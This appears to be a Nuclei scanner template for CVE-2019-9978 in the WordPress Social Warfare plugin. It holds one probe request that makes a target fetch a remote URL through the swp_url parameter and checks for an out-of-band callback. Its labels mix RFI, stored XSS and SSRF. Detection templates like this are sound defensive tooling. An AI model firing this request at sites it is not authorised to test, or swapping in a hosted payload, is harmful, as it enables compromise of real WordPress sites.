id: CVE-2019-9978 info: name: WordPress social-warfare RFI author: madrobot,dwisiswant0 severity: medium description: The social-warfare plugin before 3.5.3 for WordPress has stored XSS via the wp-admin/admin-post.php?swp_debug=load_options swp_url parameter, as exploited in the wild in March 2019. This affects Social Warfare and Social Warfare Pro. reference: - https://github.com/mpgn/CVE-2019-9978 - https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exploited-in-the-wild/ - https://www.pluginvulnerabilities.com/2019/03/21/full-disclosure-of-settings-change-persistent-cross-site-scripting-xss-vulnerability-in-social-warfare/ - https://www.cybersecurity-help.cz/vdb/SB2019032105 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2019-9978 cwe-id: CWE-79 tags: cve,cve2019,wordpress,wp-plugin,ssrf,kev requests: - method: GET path: - "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://{{interactsh-url}}" matchers-condition: and matchers: - type: status status: - 200 - type: word part: interactsh_protocol words: - "http"